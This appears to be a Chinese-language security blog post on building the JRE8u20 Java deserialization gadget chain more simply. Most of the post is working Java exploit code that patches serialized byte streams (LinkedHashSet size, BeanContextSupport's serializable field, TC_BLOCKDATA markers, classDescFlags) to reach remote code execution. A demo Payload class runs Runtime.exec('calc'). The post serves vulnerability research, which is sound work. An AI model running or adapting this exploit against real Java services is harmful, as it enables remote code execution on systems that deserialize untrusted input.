在看jre8u20
这个Gadget
的时候,通过阅读其他师傅的文章,感觉原理自己似乎是弄懂了,但是无论如何写不出来。无论是pwntester
全手动构造序列化字节码,还是n1nty
师傅或者haby0
师傅的方式,逻辑都挺复杂。SerialWriter
的方式最具有扩展性,但是又要去看新的代码,实在不想看也看不懂;修改ObjectOutputStream
反序列化逻辑的方式似乎是个相对简单的办法,但是改着改着我自己逻辑就晕了;全手动构造序列化字节码看起来最简单,但是如何修改偏移量让人发狂,虽然lightless
师傅已经做了示例,可那么一大堆反序列化字节码确实让人望而却步。那能不能有一种更简单的方式来构造jre8u20
的Gadget
呢?运气不错,果然被我发现了一个。
在jdk7u21
中使用哈希碰撞的方式触发了RCE
,但是通常都是只向LinkedHashSet
中塞了2
个对象,其实只要塞入了特定的那2
个对象,再塞入多少个其他的对象完全无所谓。如下图所示,向LinkedHashSet
中又塞入了一个字符串,但是并不影响整个流程的运行。
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
LinkedHashSet set = new LinkedHashSet();
set.add("aaa");
oos.writeObject(set);
oos.writeObject("bbb");
oos.writeObject("ccc");
oos.close();
byte[] bytes = baous.toByteArray();
//修改hashset的长度(元素个数),由 1 修改为 3
bytes[89] = 3;
//调整 TC_ENDBLOCKDATA 标记的位置
//97 = a
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 97 && bytes[i+1] == 97 && bytes[i+2] == 97){
bytes = Util.deleteAt(bytes, i + 3);
break;
}
}
bytes = Util.addAtLast(bytes, (byte) 0x78);
FileOutputStream fous = new FileOutputStream("case1.ser");
fous.write(bytes);
fous.close();
//反序列化
FileInputStream fis = new FileInputStream("case1.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
LinkedHashSet deserializedSet = (LinkedHashSet) ois.readObject();
ois.close();
for(Object obj : deserializedSet){
System.out.println(obj);
}
上述代码中,在进行反序列化时,LinkedHashSet
中只有一个元素aaa
,随后接着反序列化了字符串bbb
和ccc
,但是通过对序列化后的字节码进行修改,使得其结果和
set.add("aaa");
set.add("bbb");
set.add("ccc");
oos.write(set);
的结果是一致的,这一点可以上述代码的运行结果中得以证明。
这个原理较为简单,可以用下图进行简单说明
jre8u20
中使用了BeanContextSupport
,如果其serializable
的值为不为0,会进入到readChildren
中,随后调用ois.readObject()
读取序列化字节码中的内容。其代码如下所示:
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject();
initialize();
bcsPreDeserializationHook(ois);
if (serializable > 0 && this.equals(getBeanContextPeer()))
readChildren(ois);
deserialize(ois, bcmListeners = new ArrayList(1));
}
}
public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
int count = serializable;
while (count-- > 0) {
Object child = null;
BeanContextSupport.BCSChild bscc = null;
try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
...
}
我们可以通过修改自己码的方式,让BeanContextSupport
在反序列化时,反序列化其随后的对象,代码如下:
//此 demo 需要运行 jdk <= 7u20 的情况下运行,如果大于此版本,需要调整
BeanContextSupport bcs = new BeanContextSupport();
Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
Field serializable = cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 0);
Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer");
beanContextChildPeer.set(bcs, bcs);
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
oos.writeObject(bcs);
oos.writeObject(new Payload());
oos.close();
byte[] bytes = baous.toByteArray();
//将 serializable 的值修改为 1
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){
bytes[i+6] = 1;
break;
}
}
/**
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0x00000000
TC_ENDBLOCKDATA - 0x78
**/
//把这部分内容先删除,再附加到最后
//0x77 = 119, 0x78 = 120
//0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
break;
}
}
bytes = Util.addAtLast(bytes, (byte) 0x77);
bytes = Util.addAtLast(bytes, (byte) 0x04);
bytes = Util.addAtLast(bytes, (byte) 0x00);
bytes = Util.addAtLast(bytes, (byte) 0x00);
bytes = Util.addAtLast(bytes, (byte) 0x00);
bytes = Util.addAtLast(bytes, (byte) 0x00);
bytes = Util.addAtLast(bytes, (byte) 0x78);
FileOutputStream fileOutputStream = new FileOutputStream("case2.ser");
fileOutputStream.write(bytes);
fileOutputStream.close();
//反序列化
FileInputStream fis = new FileInputStream("case2.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
我们在 oos.writeObject(bcs)
之后,又向序列化流中写入了Payload对象oos.writeObject(new Payload())
,Payload
的代码非常简单
public class Payload implements Serializable {
public Payload() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
我们修改了字节码,使BeanContextSupport
中serializable
值变为1,随后将Paylaod
对象的反序列化字节码往前挪了挪,从而再反序列化时,BeanContextSupport
在反序列化完毕后,进入readChildren
逻辑,进而反序列了Payload
,运行结果可以说明这个问题。
其中,上述修改字节码代码的逻辑可以简单的用下面这张图进行说明。
在掌握了上述知识点后,我们就已经可以构造 jre8u20 Gadget了,语言描述比较困难,用一张图进行说明。
在进行序列化的时候,向序列化流中写入了4
个对象,但是通过修改序列化中的一些特殊的byte
,构造了一个我们想要的序列化流。在反序列化的时候,LinkedHashSet
读到的size
为3
,在反序列化第一个对象BeanContextSupport
的时候,会进入到BeanContextSupport
的readChildren
逻辑,成功将AnnotationInvocationHander
进行了还原(虽然AnnotationInvocationHander
在反序列化的时候会抛出异常,但是BeanContextSupport
捕捉了异常)。随后LinkedHashSet
在反序列化第二个和三个元素的时候,会发生哈希碰撞,从而导致RCE
。
代码如下(相关代码已上传至github):
final Object templates = Gadgets.createTemplatesImpl("calc");
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(handler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(handler, Templates.class);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
LinkedHashSet set = new LinkedHashSet();
BeanContextSupport bcs = new BeanContextSupport();
Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
Field serializable = cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 0);
Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer");
beanContextChildPeer.set(bcs, bcs);
set.add(bcs);
//序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
oos.writeObject(set);
oos.writeObject(handler);
oos.writeObject(templates);
oos.writeObject(proxy);
oos.close();
byte[] bytes = baous.toByteArray();
System.out.println("[+] Modify HashSet size from 1 to 3");
bytes[89] = 3; //修改hashset的长度(元素个数)
//调整 TC_ENDBLOCKDATA 标记的位置
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 & bytes[i+3] == 0 &&
bytes[i+4] == 120 && bytes[i+5] == 120 && bytes[i+6] == 115){
System.out.println("[+] Delete TC_ENDBLOCKDATA at the end of HashSet");
bytes = Util.deleteAt(bytes, i + 5);
break;
}
}
//将 serializable 的值修改为 1
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){
System.out.println("[+] Modify BeanContextSupport.serializable from 0 to 1");
bytes[i+6] = 1;
break;
}
}
/**
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0x00000000
TC_ENDBLOCKDATA - 0x78
**/
//把这部分内容先删除,再附加到 AnnotationInvocationHandler 之后
//目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流
//0x77 = 119, 0x78 = 120
//0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){
System.out.println("[+] Delete TC_BLOCKDATA...int...TC_BLOCKDATA at the End of BeanContextSupport");
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
break;
}
}
/*
serialVersionUID - 0x00 00 00 00 00 00 00 00
newHandle 0x00 7e 00 28
classDescFlags - 0x00 -
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 29
*/
//0x78 = 120, 0x70 = 112
//0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i + 4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 0 &&
bytes[i+8] == 0 && bytes[i+9] == 0 && bytes[i+10] == 0 && bytes[i+11] == 120 &&
bytes[i+12] == 112){
System.out.println("[+] Add back previous delte TC_BLOCKDATA...int...TC_BLOCKDATA after invocationHandler");
i = i + 13;
bytes = Util.addAtIndex(bytes, i++, (byte) 0x77);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x04);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x78);
break;
}
}
//将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD
//这一步其实不是通过理论推算出来的,是通过debug 以及查看 pwntester的 poc 发现需要这么改
//原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1))
// -> count = ois.readInt(); 报错,无法完成整个反序列化流程
// 没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了
// 标记: 7375 6e2e 7265 666c 6563 --> sun.reflect...
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 115 && bytes[i+1] == 117 && bytes[i+2] == 110 && bytes[i+3] == 46 &&
bytes[i + 4] == 114 && bytes[i+5] == 101 && bytes[i+6] == 102 && bytes[i+7] == 108 ){
System.out.println("[+] Modify sun.reflect.annotation.AnnotationInvocationHandler -> classDescFlags from SC_SERIALIZABLE to " +
"SC_SERIALIZABLE | SC_WRITE_METHOD");
i = i + 58;
bytes[i] = 3;
break;
}
}
//加回之前删除的 TC_BLOCKDATA,表明 HashSet 到此结束
System.out.println("[+] Add TC_BLOCKDATA at end");
bytes = Util.addAtLast(bytes, (byte) 0x78);
FileOutputStream fous = new FileOutputStream("jre8u20.ser");
fous.write(bytes);
//反序列化
FileInputStream fis = new FileInputStream("jre8u20.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
运行结果:
pwntester/JRE8u20_RCE_Gadget
JRE8u20反序列化漏洞分析
深度 - Java 反序列化 Payload 之 JRE8u20
JRE8u20 反序列化